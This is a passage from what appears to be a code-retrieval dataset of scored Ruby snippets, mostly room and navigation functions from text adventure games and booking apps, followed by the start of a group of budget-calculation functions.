$ilocation['Torch'] = \"Inventory\"\n if $fresh == 0\n newuser()\n else\n print \"\"\n end\n while $tate == 1\n room = $room\n case room\n when \"Cavern\"\n mroom.firstroom\n when \"Intersection\"\n mroom.northlight\n when \"South Wall\"\n mroom.southwall\n when \"East Forest Edge\"\n mroom.eastforestedge\n else\n prompt()\n end # case end\n\n end #while end\nend", "title": "" }, { "docid": "407335ce2354a1339d5181e718f02050", "score": "0.65732175", "text": "def start(player)\n @room_arr[0].enter(player)\n end", "title": "" }, { "docid": "cde0333a51e15408bd1d6eb4a633dae1", "score": "0.65452397", "text": "def on_place_room\n\t\t@asm.place_room(Assembly_Room.new)\n\t\tannounce(:room_place, @assembly.cursor[1..2])\n\tend", "title": "" }, { "docid": "7b208d32b9f3ce18a5ab88eeb785a69a", "score": "0.64629304", "text": "def enter(room) \n puts \"Enter #{room.number}\"\n #Set the current room to the new current room\n setCurrRoomNumber(room.number)\n # puts getRoom\n \n end", "title": "" }, { "docid": "f12538a55123ca700bf6d23835aeb86f", "score": "0.644771", "text": "def last_room\n\t\t#how to make it loop and go back to room 1?\n\n\tend", "title": "" }, { "docid": "31fc45519135a6c357e06f8db90a60e1", "score": "0.6443725", "text": "def current_room\n\t\t\t@current_room ||= Dungeon.first_room_name\n\t\tend", "title": "" }, { "docid": "0608832c1f1143f63115cdf4550a3eeb", "score": "0.631901", "text": "def start_room\n\t\tprint_paragraph(\"There is a torch on the wall giving off a small amount of light.\nTo the north you see a door and to the east there is a passage to another room.\")\n\t\taction = prompt\n\n\t\tcase action\n\t\twhen \"look\"\n\t\t\tstart_room\n\t\twhen \"go north\"\n\t\t\tif $inventory.include?(\"key\") # Checks to see if you have the key required to open the door\n\t\t\t\tsword_room\n\t\t\telse\n\t\t\t\tputs \"The door is locked. Perhaps there is a key somewhere.\"\n\t\t\t\tstart_room\n\t\t\tend\n\t\twhen \"go east\"\n\t\t\ttroll_room\n\t\twhen \"go south\"\n\t\t\tputs \"Rocks and boulders block that way.\"\n\t\t\tstart_room\n\t\twhen \"go west\"\n\t\t\tputs \"There's nothing but a cave wall there.\"\n\t\t\tstart_room\n\t\telse \n\t\t\tputs \"That wont work.\"\n\t\t\tstart_room\n\t\tend\n\n\tend", "title": "" }, { "docid": "87ae666b91be46c52bc72a6f651c93d2", "score": "0.6283537", "text": "def on_start\r\n puts \"There isn't anything that is out of the ordinary in this\"\r\n puts \"room. It's just your typical bussiness foyer, with a tall\"\r\n puts \"desk and a laminated floor. The secretaries behind the desk\"\r\n puts \"seem preoccupied; I don't think they would take kindly to interaction.\"\r\n puts \"To the North lies the conference room. A conference is in progress.\"\r\n puts \"To the South lies the Great Outdoors.\"\r\n puts \"To the East lies the BreakRoom. It looks empty, as its only #{Time.now}\"\r\n puts \"To the West lies a long hallway with offices along it.\"\r\n end", "title": "" }, { "docid": "cb3fefbf6eacdef4109b335702e85028", "score": "0.62490517", "text": "def on_enter(room, mes)\n end", "title": "" }, { "docid": "a1091cc292a213b6624f746edaeaf4ea", "score": "0.6229337", "text": "def player_current_room\n player.current_room\n end", "title": "" }, { "docid": "3b760ce1920f479dacc3a0b0f3085bfa", "score": "0.6151455", "text": "def entrance?(room_id)\n\t\t@enter_room_ID == room_id\n\tend", "title": "" }, { "docid": "d9125972cbd53650af0364440dbe1c01", "score": "0.61200446", "text": "def on_room_select\n\t\t@assembly.reprint_object_at\n\t\t\n\t\t@room = @assembly.room_at\n\tend", "title": "" }, { "docid": "f1808d00b79603fe43effe81b454aadb", "score": "0.6066198", "text": "def room\n # puts \"Player Room #{@@currentRoom}\"\n # puts Cave.roomInstance(@@currentRoom-1)\n # puts Cave.roomInstance(@@currentRoom-1).number\n #puts @@currentRoom #This is a room\n return Cave.roomInstance(@@currentRoom-1)\n end", "title": "" }, { "docid": "97fd932ce54cdf53fb1cbf015e6b4701", "score": "0.60228604", "text": "def main?\n find_room_in_direction(:north) == :main_room\n end", "title": "" }, { "docid": "cf3ae925d5ddf50c0b4a06bd77eb2e6f", "score": "0.6017673", "text": "def login\n output \"Welcome, #{@name}.\"\n move_to_room(@room)\n (@room.occupants - [self]).each_output(\"0<N> has entered the game.\", [self])\n end", "title": "" }, { "docid": "f668a56c339f170346f5e95488496412", "score": "0.59989786", "text": "def go_to_room\n state.active_module = :room\n end", "title": "" }, { "docid": "46b0423008b0e71ef4980bd5c3333452", "score": "0.5980708", "text": "def check_in(guest, room)\n if room.current_space > 0\n room.add_guest_to_room(guest)\n room.add_to_tab(15.00)\n else\n room.clear_room\n end\n end", "title": "" }, { "docid": "b353b75054538656d9301c93517d01b2", "score": "0.5952209", "text": "def home\n @current_rooms_created = @@api.get_meetings\n @current_recordings = @@recording_controller.get_recordings\n end", "title": "" }, { "docid": "d506e6a69ae1a4cd083acce29c4dc0f7", "score": "0.5929665", "text": "def room\n client.room\n end", "title": "" }, { "docid": "c06b88afc26a171b0aad7e76bb13e47b", "score": "0.5913892", "text": "def room=(_arg0); end", "title": "" }, { "docid": "7bea4ddbfff8dc88162cf720e4ca16bd", "score": "0.5893263", "text": "def enter_room\n # returns a Player::Status\n\n loc = @player.location\n rc = @castle.room(*loc)\n\n entered_via_teleport = @player.teleported?\n @player.teleported = false\n\n if @player.blind?\n @printer.you_are_here_blind\n else\n @printer.you_are_here\n end\n\n @printer.stat_block\n\n @player.remember_room(*loc) # remember even if blind\n\n symbol_for_text =\n if rc.symbol == :runestaff_and_monster\n @castle.runestaff_monster\n else\n rc.symbol\n end\n @printer.here_you_find(symbol_for_text)\n\n case rc.symbol\n when :gold\n n = Random.rand(1..10)\n @player.gp(+n)\n @printer.new_gold_count\n @castle.set_in_room(*loc, :empty_room)\n return PlayerState::ACTION\n when :flares\n n = Random.rand(1..5)\n @player.flares(+n)\n @printer.new_flare_count\n @castle.set_in_room(*loc, :empty_room)\n return PlayerState::ACTION\n when :warp\n @player.set_location(*Castle.random_room)\n return PlayerState::NEW_ROOM\n when :sinkhole\n @player.set_location(*Castle.down(*loc))\n return PlayerState::NEW_ROOM\n when :orb_of_zot\n if entered_via_teleport\n @printer.found_orb_of_zot\n @player.runestaff = false\n @player.orb_of_zot = true\n @castle.set_in_room(*loc, :empty_room)\n return PlayerState::ACTION\n else\n @player.set_location(*Castle.move(@player.facing.to_s.upcase, *loc))\n return PlayerState::NEW_ROOM\n end\n end\n\n if rc.treasure?\n @player.add_treasure(rc.symbol)\n @printer.got_a_treasure(rc.symbol)\n @castle.set_in_room(*loc, :empty_room)\n return PlayerState::ACTION\n elsif rc.monster?\n return combat\n elsif rc.symbol == :vendor\n return combat if @player.vendor_rage?\n\n case @prompter.ask(%w[T A I], @printer.prompt_vendor_encounter)\n when 'I'\n return PlayerState::ACTION\n when 'A'\n @player.vendor_rage = true\n @printer.vendor_responds_to_attack\n return combat\n when 'T'\n ShoppingTrip.new(@player, @printer, @prompter).run\n return PlayerState::ACTION\n end\n end\n\n PlayerState::ACTION\n end", "title": "" }, { "docid": "699dcb7e0c6ed7d5dd80a5e082b50047", "score": "0.5881179", "text": "def goto_room(room)\n\t\t\tif (!room.instance_of? Room)\n\t\t\t\troom = Room.find(room)\n\t\t\tend\n\n\t\t\tplayer = MudServer.get_player self\n\t\t\tplayer.room_id = room.id\n\t\t\tplayer.save\n\n\t\t\troom.broadcast \"#{self.name} appears in a ray of light from the sky.\\n\"\n\t\t\tRoom.display room\n\t\tend", "title": "" }, { "docid": "5931a8c779435ea84bd00a03b1aa8322", "score": "0.5854763", "text": "def in_room( location )\r\n\t\t\t@location = location\r\n\t\t\tif ! been_to?( location )\r\n\t\t\t\t@rooms << location\r\n\t\t\tend\r\n\t\tend", "title": "" }, { "docid": "c84bff5e7abf711e7a37dc30a3769467", "score": "0.58337027", "text": "def go_to_where_you_belong\n \n end", "title": "" }, { "docid": "0ef936a2ebe85aed3a988d9838f2aa3a", "score": "0.5820233", "text": "def start_building\n end", "title": "" }, { "docid": "b45c61f4b262d0fa6c61320a139f73ca", "score": "0.5802221", "text": "def start\n puts @caffeine_quest_wordmark\n puts @intro_text\n puts @tutorial_text\n @player.alive = true\n player_entered_room\n end", "title": "" }, { "docid": "402b56e55a30dc5d546661d46ab7ed86", "score": "0.5791853", "text": "def search_room\n end", "title": "" }, { "docid": "b82a92be616ae07e1b75289610f03521", "score": "0.57718796", "text": "def start\n adjacent_point(@entrance)\n end", "title": "" }, { "docid": "5ba93e453c4f8e80bf62ba4cfed5ff5f", "score": "0.5757454", "text": "def book_the_room\n \n end", "title": "" }, { "docid": "c68b504a43593116be7f5e91a88fb2e4", "score": "0.5751216", "text": "def show_current_items\n puts find_room_in_rapture(@player.location).list_items\n end", "title": "" }, { "docid": "03cd0725411e3f6e10e16d456f622eca", "score": "0.573236", "text": "def room\n # We use try(:selected_schedule_id) because this function is used for\n # validations so program could not be present there\n if track.try(:self_organized?)\n track.room\n else\n event_schedules.find_by(schedule_id: program.try(:selected_schedule_id)).try(:room)\n end\n end", "title": "" }, { "docid": "6d3061190e617588069af71c34742877", "score": "0.5720704", "text": "def current_room\n\t@current_room ||= Room.where(:user_id => session[:user_id]).first if session[:user_id] #if current_user is nil then replace it, if there is a current session\n end", "title": "" }, { "docid": "249b2a15e092d3b32894d997d3784df2", "score": "0.5719419", "text": "def start location\n\t\t@player.location = location\n\t\tshow_current_description\t\t\n\tend", "title": "" }, { "docid": "09fc4f74da5c071b7cc3941b7aee4d9e", "score": "0.5712756", "text": "def open(player)\n if(@nextRoom.class.name == \"Room\")\n @nextRoom.enter(player)\n elsif(@nextRoom.class.name == \"Array\" && @nextRoom.size > 0)\n puts `clear`\n puts \"You ascend the stairs to the next floor\"\n puts \"Please wait.....\"\n sleep(1)\n nextFloor = @nextRoom.shift\n nextFloor.buildFloor(@nextRoom)\n nextFloor.start(player)\n else\n puts \"You have reached the end.\"\n puts \"\\n\\nCongrats, %s. You have beaten RubyQuest!\" % player.getName()\n exit\n end\n end", "title": "" }, { "docid": "a698f511d9f23cb25b1bed25aa4fc8f6", "score": "0.5712012", "text": "def room\n Room.where(cube_id: cube_id, uid: room_id).first\n end", "title": "" }, { "docid": "c2d7011e95e952c1457515f56091d74d", "score": "0.5692441", "text": "def room\n client.room || raise(APIError, 'User is not currently in a room')\n end", "title": "" }, { "docid": "98a8f766dc6cd6bb6f8bfe0e6b2f6118", "score": "0.56800485", "text": "def game_begin_signal\n # initialize new game grid\n initialize_grid\n\n # Update Room:\n room = Room.last\n room.state = GAME_ROOM_STATE_PLAYING\n room.active_user = User.last.user_id\n room.save\n room.initialize_grid\n Pusher[PUSHER_CHANNEL_NAME].trigger(PUSHER_EVENT_START, {:message => 'game will be started immediately'})\n end", "title": "" }, { "docid": "4e386ec5b28083204341a6c3f28c4152", "score": "0.56629455", "text": "def left_end_door\n\tend", "title": "" }, { "docid": "6aa8df729150e80ebdb5a9b2af59ab6f", "score": "0.5662357", "text": "def show\n set_room\n end", "title": "" }, { "docid": "345f5fec52df475f5bb750756cd92223", "score": "0.5660709", "text": "def your_reservations\n @rooms = current_user.rooms\n end", "title": "" }, { "docid": "6b75fa41ec048139a19eda6b6abc1eb7", "score": "0.5649254", "text": "def in?(room)\n room == @location.name\n end", "title": "" }, { "docid": "423261d13f2f7a5a5896f28790c954f6", "score": "0.5641117", "text": "def dest_room\n\t\t@path.end.room\n\tend", "title": "" }, { "docid": "16399e0f40078e956219cf2020563282", "score": "0.56386006", "text": "def home\n @cur_gym = current_user.gym\n end", "title": "" }, { "docid": "6324f7da20240d24c90b86d24bb51aaa", "score": "0.56386", "text": "def request_rooms\n @requested_rooms = true\n end", "title": "" }, { "docid": "2d93423ca704fb1e15320a58962b1e7f", "score": "0.5616039", "text": "def ais_in_room\n @@ais_in_room.select { |ai| puts ai.username }\n end", "title": "" }, { "docid": "95571c77036af61dd899414d6a2ed2e9", "score": "0.56110585", "text": "def enter\n result = @p.c.enter_room(@id, @nickname, @password)\n return nil if !result || !result[:succeeded]\n res = result[:response]\n room = res['room']\n @ticket = res['ticket']\n @occupant_id = res['occupant_id']\n @counter = room['counter']\n @room = Room.new(room['id'], room['name'], room['description'], room['url'], room['icon_url'], room['max_user_message_id'])\n parse_occupants res['occupants']\n @monitor_thread = Thread.new { observe_loop }\n end", "title": "" }, { "docid": "0e65282d1372ba8c87a07336519f7ed3", "score": "0.5604094", "text": "def start(player, rawBoard)\n raise ArgumentError, \"Incorrect state #{self.state}\" unless self.state.nil?\n my_board = boards.create!(player_id: player.id)\n begin\n my_board.add_locations rawBoard\n # The player that starts the game gets to go first.\n self.turn_id = player.id\n # Now wait for the opponent to join.\n self.state = \"waiting\"\n save!\n rescue\n # Undo any database changes that were made before returning.\n boards.destroy my_board\n # A call to raise by itself will raise the last error.\n raise \n end\n return self.id\n end", "title": "" }, { "docid": "8539c19122811e027e06939d1cf20f5a", "score": "0.56005245", "text": "def use(current_room)\n\tinterface(current_room)\nend", "title": "" }, { "docid": "acedb58faac06f4147bfa1f4d708b621", "score": "0.55962795", "text": "def travel_from(starting_room)\n if (starting_room != @room_a) && (starting_room != @room_b)\n return nil\n end\n if self.can_pass?\n foo = [@room_a, @room_b].select {|room| room != starting_room}\n if(!@obstacle.nil? && @obstacle.is_a?(ItemObstacle))\n @@all_paths[@id] = self\n end\n return foo[0]\n else\n return @obstacle.block_text\n end\n end", "title": "" }, { "docid": "af9c643337fcb1cf19643fb0e0e69bdb", "score": "0.55889875", "text": "def load_and_fetch_room_info\n end", "title": "" }, { "docid": "b02cfa8350a5c284cacb18bf344179fe", "score": "0.55824775", "text": "def updatePreviousRoom\n @previousRoom = @currentRoom \n end", "title": "" }, { "docid": "2de22fef27cb033e63d2075305c3ae0c", "score": "0.5578819", "text": "def start_quest(quest_id); quests[quest_id].start; end", "title": "" }, { "docid": "c2d395e8cbb1f8458b79e764726ee810", "score": "0.55786973", "text": "def draw_room\n puts self.floor\n end", "title": "" }, { "docid": "95f1998773e9059ea32a1092fcfe2198", "score": "0.5576355", "text": "def starting; end", "title": "" }, { "docid": "eead500569cffcd4ae3767cc2129f152", "score": "0.5572992", "text": "def home\n\t\t@own_events = current_acct.own_events\n\t\t@participations = current_acct.participations\n\tend", "title": "" }, { "docid": "a51e228fe7d85db0e8264a4d6ce7e0f2", "score": "0.55482894", "text": "def in\n @rant\n end", "title": "" }, { "docid": "d53bfac55f5c772851dc4ecb773ae948", "score": "0.55303365", "text": "def insert_current_user_into_room\n\t\troom = Room.find(params[:id])\n\n\t\tif room.full?\n\t\t\tredirect_to rooms_url(@hotel.id), alert: \"Quarto está cheio. Tente outro.\"\n\t\telse\n\t\t\tcurrent_user.update(room_id: room.id)\n\t\t\tredirect_to rooms_url(@hotel.id), notice: \"Você está no quarto #{room.number} do hotel #{room.hotel.name}\"\n\t\tend\n\tend", "title": "" }, { "docid": "2c20c4e126fe4b3d33870afb06f9b7a1", "score": "0.5525565", "text": "def roomInDirection(direction)\t\t\n\t\treturn @outs[giveMeIndex(direction)]\n\tend", "title": "" }, { "docid": "2c20c4e126fe4b3d33870afb06f9b7a1", "score": "0.5525565", "text": "def roomInDirection(direction)\t\t\n\t\treturn @outs[giveMeIndex(direction)]\n\tend", "title": "" }, { "docid": "03395fd5f23501708ad5b6a76f001881", "score": "0.5523339", "text": "def current_classroom\n self.classrooms.first\n end", "title": "" }, { "docid": "ba65fc31a34a3dbd7925f9f18fbd7513", "score": "0.5520709", "text": "def start_game\n\t\tpos = 0 \n\n\t\twhile @current_position < list_of_rooms.length \n\t\t\t\t\tputs \"You are in #{@list_of_rooms[@current_position].description}. Which direction would you like to go (N, S, E, W)?\"\n\t\t\t\t\tuser_input = gets.chomp\n\t\t\t\t\tif user_input == \"quit\"\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\telsif\n\t\t\t\t\t\tuser_input == @list_of_rooms[@current_position].exit \n\t\t\t\t\t\t#pos += 1\n\t\t\t\t\t\t@current_position +=1\n\t\t\t\t\telsif\n\t\t\t\t\t\tuser_input == @list_of_rooms[@current_position].entry\n\t\t\t\t\t\t#pos -= 1 \n\t\t\t\t\t\t@current_position -=1\n\t\t\t\t\telsif\n\t\t\t\t\t\tputs \"There is no exit here.\"\n\t\t\t\t\t# unless \n\t\t\t\t\t# \tpos >= 0 + (list_of_rooms.length) \n\t\t\t\t\t# \tputs \"You won!\"\t\n\t\t\t\t\t# end\n\t\t\t\t\tend\n\n\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t# def enter_movement\n\t\t\t# \t#write method here\n\t\t\t# end\n\n\t\t\t# def game_over\n\t\t\t# \t#write method here\n\t\t\t# end\n\t\tend\n\tend", "title": "" }, { "docid": "8c525d0972591c68c779b487792172b1", "score": "0.5520251", "text": "def initiated; end", "title": "" }, { "docid": "4460acbc4cdb8a1ea6de6d2f8fc9e104", "score": "0.55189866", "text": "def cmd_look\n puts @room[:desc]\n\n # Print items\n if @room[:items] and not @room[:items].empty?\n puts \" Items within reach:\"\n print_indented @room[:items]\n end\n \n # Print exits\n puts \" You see the following exits:\"\n print_indented(@room[:exits].map do |dir, room_key|\n room = @world[:rooms][room_key]\n dir.to_s + \" (\" + room[:name] + \")\"\n end)\n self # No change in the game's State\n end", "title": "" }, { "docid": "90119a439b2d5297de9cfa7a51f36d62", "score": "0.5505451", "text": "def start_game(journal)\n @waiting_for = ChooseOperationJournal.template\n end", "title": "" }, { "docid": "2a9220a57248f3f247f392e14d981161", "score": "0.54974276", "text": "def start(location)\n\t\tprint CLEAR\n\t\t@player.location = location\n\t\tprint \"Welcome #{@player.name}! You begin your journey at the \"\n\t\tshow_current_description\n\tend", "title": "" }, { "docid": "f1dd4b6ab132421a586e8703e17e5c83", "score": "0.5494728", "text": "def room\n if @object.respond_to?(:object)\n @object.object.room\n else\n @object.room\n end\n end", "title": "" }, { "docid": "653d988f82f3ad3b74e0efc41e91285d", "score": "0.5494193", "text": "def set_room\n query = \"SELECT * FROM Room WHERE roomId = #{params[:id]}\"\n @room = Room.find_by_sql(query).first\n end", "title": "" }, { "docid": "0af9352a55dba8c8c6c59219d0b14129", "score": "0.54930055", "text": "def cmd_look\n puts @room[:desc]\n puts\n\n # Print items\n if @room[:items] and not @room[:items].empty?\n puts \" Items within reach:\"\n print_indented @room[:items]\n end\n\n # Print exits\n puts \" You see the following exits:\"\n print_indented(@room[:exits].map do |dir, room_key|\n room = @world[:rooms][room_key]\n dir.to_s + \" (\" + room[:name] + \")\"\n end)\n self # No change in the game's State\n end", "title": "" }, { "docid": "2effa8279fbaa9e8d4cb96d87dce1084", "score": "0.54893214", "text": "def set_room\n @room = Room.includes(:amentity).find(params[:id])\n end", "title": "" }, { "docid": "b329059ffbc128aea39ee408225bf594", "score": "0.54874915", "text": "def meetings\n end", "title": "" }, { "docid": "beb7d0ef648fae40b1e97b7cc4569683", "score": "0.5484134", "text": "def make_room\n\t\tself.position ||= 0\n\t\tsuccess = false\n\t\tChapter.transaction do\n\t\t\tsuccess = Chapter.where(\"story_id = ? AND position > ?\", self.story_id, self.position).update_all(\"position = -1 * (position + 1)\")\n\t\t\tsuccess = success && Chapter.where(\"story_id = ? AND position < 0\", self.story_id).update_all(\"position = -1 * position\")\n\t\tend\n\t\treturn success\n\tend", "title": "" }, { "docid": "afa36e107ddb575a9319672275ad2e93", "score": "0.5482078", "text": "def home\n @userId = UserService.find_user session[:user]\n @buildingsList = Building.all\n @roomTypes = Room.all\n\n end", "title": "" }, { "docid": "862ba7ddb7c7939ff2511598452d45e2", "score": "0.548068", "text": "def room\n if @object.respond_to?(:object)\n @object.object.room\n else\n @object.room\n end\n end", "title": "" }, { "docid": "396a023971c187d50dac2771721ab460", "score": "0.54664266", "text": "def start\n intro\n winner\n end", "title": "" }, { "docid": "1bbbd41770be3263a8f885b52e280c8e", "score": "0.5452787", "text": "def start\n state.turn_player_id = state.players.players.first.id\n state.turn_number = 1\n end", "title": "" }, { "docid": "30136e6c96bd7c098bd8ded808ee3a17", "score": "0.5451096", "text": "def move_to_room( room )\r\n if @attacking && @attacking.room != room\r\n stop_combat\r\n end\r\n if self.responds_to_event(:mobile_exit)\r\n Game.instance.fire_event(self, :mobile_exit, nil)\r\n end\r\n if @room\r\n # exit old room\r\n @room.mobile_exit(self)\r\n end\r\n @room = room\r\n if @room\r\n # enter new room\r\n @room.mobile_enter(self)\r\n if @position == :sleeping\r\n output \"Your dreams grow restless.\"\r\n else\r\n do_command \"look\"\r\n end\r\n end\r\n if responds_to_event(:mobile_enter)\r\n Game.instance.fire_event( self, :mobile_enter, { mobile: self } )\r\n end\r\n (@room.occupants - [self]).reject{|t| !t.responds_to_event(:observe_mobile_enter) }.each do |t|\r\n Game.instance.fire_event( t, :observe_mobile_enter, {mobile: self} )\r\n end\r\n end", "title": "" }, { "docid": "89da5f89ddeab73bbf5d98ec5ff14ea4", "score": "0.5449648", "text": "def next_rooms_prompt\n next_rooms_options = []\n @dungeon.room.new_rooms\n @dungeon.room.next_rooms.each do |room|\n next_rooms_options << room.description\n end\n\n Zarta::HUD.new(@dungeon)\n puts 'You see these rooms ahead of you,'\n next_room_choice = @prompt.select('Choose one:', next_rooms_options)\n\n @dungeon.room.next_rooms.each do |room|\n return room if next_room_choice == room.description\n end\n end", "title": "" }, { "docid": "bac4b5fe4237161b900a2fbeab06aa66", "score": "0.5448273", "text": "def show\n @room = Room.find(params[:id])\n @in_room = []\n for resident in Resident.all do\n if (@room.id === resident.room_id)\n @in_room.push(resident)\n end\n end\n end", "title": "" }, { "docid": "66afa85aefe5661f5cec30e2c5dd151b", "score": "0.54475975", "text": "def my_room \n if current_user != @room.activity.user\n head(:unauthorized)\n end\n end", "title": "" }, { "docid": "b6f5ab8b4d9320eb5d71c970e5c17b86", "score": "0.5436471", "text": "def been_to?( location )\r\n\t\t\t@rooms.include?( location )\r\n\t\tend", "title": "" }, { "docid": "882ed469eb198b9282a3f6b1547ef5eb", "score": "0.54359657", "text": "def initialize(name, owner, location, to_room)\n super(name, owner, location)\n self.to_room=to_room # The room the exit leads to\n # location is the room the exit starts in\n end", "title": "" }, { "docid": "2959f9b3a6275968bf5a961b340686a2", "score": "0.5432362", "text": "def ready\n @room = current_user.room\n current_user.status = 3\n current_user.save\n publish(\"presence-room_#{@room.id}\",\"users_change\",{})\n if @room.show_next_question?\n @next_question = choose_question(@room)\n @room.users.each do |user|\n user.status = 1\n user.save\n end\n publish(\"presence-room_#{@room.id}\",\"next_question\", {\n question_id: @next_question.id\n })\n end\n render :json => {\n room_id: @room.id\n }\n end", "title": "" }, { "docid": "c508b4666f80cee208133d51b428ce87", "score": "0.5431535", "text": "def room\r\n return @room || Room.inactive_room\r\n end", "title": "" }, { "docid": "6f9298cfb1acd21bb82504110b702229", "score": "0.5428291", "text": "def show\n #this is purely for viewing stats and stuff\n #only for tab room officials\n #the room info will be displayed for users in the draw/another page\n @room = Room.find(params[:id]);\n\n #need to find institution in a similar way\n @institution = nil;\n end", "title": "" }, { "docid": "261c1130bdce173883ddfcaaa99ed9d3", "score": "0.54260385", "text": "def england() new_start(self.class::ENGLAND) end", "title": "" }, { "docid": "ecdf79f6a75534098322a88808efde02", "score": "0.54197514", "text": "def user\n room.user\n end", "title": "" }, { "docid": "48b7ebc6c11210887e1af84cc973b4ae", "score": "0.54186004", "text": "def in_progress\n Game.current.first\n end", "title": "" }, { "docid": "a45b49af2226e7a20948e9762f841d0d", "score": "0.54168916", "text": "def set_room\n @room = Room.find(params[:id])\n @amenities = Amenity.all\n @rules = Rule.all\n @pictures = @room.pictures\n end", "title": "" }, { "docid": "0484498bf49c972b542cac91ff745255", "score": "0.5413015", "text": "def room\n p = parent\n until p.is_a?(Room) or p.nil?\n p = p.parent\n end\n p\n end", "title": "" }, { "docid": "0d7573fe6d311fa9ed49d8483eb1b91e", "score": "0.54126847", "text": "def beginning\n Beginning.find(beginnings_id)\n end", "title": "" }, { "docid": "29bf090e7769fe0c3be5c5e069e19883", "score": "0.5409146", "text": "def find_room_in_direction direction\n\t\tfind_room_in_dungeon(@player.location).connections[direction]\n\tend", "title": "" }, { "docid": "868fb38ba173af0b8526f852b335c45c", "score": "0.54072595", "text": "def start()\n\tputs \"You are in a dark room.\"\n\tputs \"There is a door to your right and left.\"\n\tputs \"Which one do you take?\"\n\n\tprompt; next_move = gets.chomp\n\n\tif next_move == \"left\"\n\t\tbear_room()\n\telsif next_move == \"right\"\n\t\tcthulhu_room()\n\telse\n\t\tdead(\"You stumble around the room until you starve.\")\n\tend\nend", "title": "" }, { "docid": "fcf2faa4a847d323ef71a5d40d354584", "score": "0.54072404", "text": "def spawn\n\t\t@room = Room.find(self.starting_room_id)\n\t\t$world.mobs << self\n\tend", "title": "" }, { "docid": "06e6499dc441fd8770068de992c4e0e6", "score": "0.54043597", "text": "def current_room_model\n Room[self.current_room]\n end", "title": "" } ]
ee5dba080bd641991ae3c23e2715c115
bench mark total year1 deliverables value
[ { "docid": "adc1ed9b5a185d98315e29646185d299", "score": "0.72283745", "text": "def benchyear1\n @benchyear1 = @benchsubtotal3 + @benchmobilisation + @benchtupe\n end", "title": "" } ]
[ { "docid": "4f13d5536654d6dcb9f854db811f68a6", "score": "0.72406507", "text": "def benchyear1total\n @benchyear1total = @benchyear1 + @benchmanage + @benchcorporate\n end", "title": "" }, { "docid": "b0f8b0f03e5db62ca1cf3e8ca4025864", "score": "0.7056574", "text": "def benchyear1totalcharges\n @benchyear1totalcharges = @benchyear1total + @benchprofit\n end", "title": "" }, { "docid": "c1816f2aa90229419c1933156fd502db", "score": "0.67831945", "text": "def year1total\n @year1total = @year1 + @manage + @corporate\n end", "title": "" }, { "docid": "09f7c2d22f1c006eb3efc1dfbe1abc9e", "score": "0.66602635", "text": "def benchtotalcharges\n @benchyear1totalcharges += @benchsubyearstotal\n end", "title": "" }, { "docid": "a98fb035239968b440b6429ed4aa83fa", "score": "0.6647716", "text": "def year1\n @year1 = @subtotal3 + @mobilisation + @tupe\n end", "title": "" }, { "docid": "2036d639d90a95ca45ead824387d4694", "score": "0.65858495", "text": "def benchsubyearstotal\n @benchsubyearstotal = @subsequent_length_years * (@benchyear1totalcharges - (((@benchmobilisation + (@benchmobilisation * @framework_rates['M140']) + (@benchmobilisation * @framework_rates['M141'])) * (@framework_rates['M142'] + 1))))\n end", "title": "" }, { "docid": "949c5cf6af5c36916b75cd42388abb81", "score": "0.64699477", "text": "def year1totalcharges\n @year1totalcharges = @year1total + @profit\n end", "title": "" }, { "docid": "648a1e343ce5e126f47b3a443ed8c552", "score": "0.63423914", "text": "def subyearstotal\n @subyearstotal =\n if @supplier_name\n @subsequent_length_years *\n (@year1totalcharges -\n (((@mobilisation + (@mobilisation * @rate_card.data['Variances'][@supplier_name]['Management Overhead %']) +\n (@mobilisation * @rate_card.data['Variances'][@supplier_name]['Corporate Overhead %'])) *\n (@rate_card.data['Variances'][@supplier_name]['Profit %'] + 1))))\n else\n @subsequent_length_years * (@year1totalcharges - (((@mobilisation + (@mobilisation * @framework_rates['M140']) + (@mobilisation * @framework_rates['M141'])) * (@framework_rates['M142'] + 1))))\n end\n end", "title": "" }, { "docid": "b388e8bef944cd3e6b6d0039b079f46c", "score": "0.6193294", "text": "def activities_billing_total(year)\n query_strategy.activities_billing_total(year).first\n end", "title": "" }, { "docid": "6275df8a7dbb70f8e6c82eaf9f442d71", "score": "0.6086872", "text": "def required_annual_savings\n needed_amount_less_savings / years_to_retirement\n end", "title": "" }, { "docid": "2cb798f4b6fb7ec72587914db0a948a9", "score": "0.6085407", "text": "def benchmarkedcostssum\n benchmarkedcosts\n benchclean\n benchsubtotal1\n benchvariation\n benchsubtotal2\n benchcafm\n benchhelpdesk\n benchsubtotal3\n benchmobilisation\n benchtupe\n benchyear1\n benchmanage\n benchcorporate\n benchyear1total\n benchprofit\n benchyear1totalcharges + benchsubyearstotal\n end", "title": "" }, { "docid": "6a0e965ad0b0c96c68d75049b11fbe89", "score": "0.60813785", "text": "def benchcorporate\n @benchcorporate = @benchyear1 * @framework_rates['M141']\n end", "title": "" }, { "docid": "2fa625581c044b74ba57d0efc311a4bc", "score": "0.6029669", "text": "def referrals_needed_per_month\n 5 * monthly_transaction_goal\n end", "title": "" }, { "docid": "e78d17f9500e88035e592c8a5e240611", "score": "0.6000648", "text": "def set_budget_year\n @budget_year = Date.today.year\n end", "title": "" }, { "docid": "91316fc3e5f3d5d488d01a035db8b4eb", "score": "0.5993348", "text": "def internal_work_cost year\n \t\tKpi.internal_work_cost(self, year)\n \tend", "title": "" }, { "docid": "e6bee9c0c5074ed3aa52b0267f8d14c5", "score": "0.5955177", "text": "def nb_year(p0, percent, aug, p)\n year_count = 0\n until p0 >= p do\n p0 += (p0 * (percent/100.to_f)) + aug\n year_count += 1\n # binding.pry\n end\n year_count\n # binding.pry\nend", "title": "" }, { "docid": "ee96b21117a27b6758ec9c5d9e039ae6", "score": "0.59125453", "text": "def perform_employer_plan_year_count\n if plan_year = self.employer_profile.latest_plan_year\n plan_year.enrolled_summary = plan_year.total_enrolled_count\n plan_year.waived_summary = plan_year.waived_count\n plan_year.save!\n end\n end", "title": "" }, { "docid": "9db3f2a96339e242719930692407a584", "score": "0.58717245", "text": "def decades() 10 * years end", "title": "" }, { "docid": "8b029191f0e63791d454967cebfda6bb", "score": "0.5857392", "text": "def total_cost selected_fy_year=nil\n\n alis = if multi_year? && selected_fy_year.blank?\n activity_line_items\n else\n selected_fy_year ||= self.fy_year\n activity_line_items.where(:fy_year => selected_fy_year)\n end\n \n alis.sum(ActivityLineItem::COST_SUM_SQL_CLAUSE)\n end", "title": "" }, { "docid": "3bdbc28f95716c18afa2db09958cfecf", "score": "0.57752615", "text": "def current_planning_year_year\n current_fiscal_year_year + 1\n end", "title": "" }, { "docid": 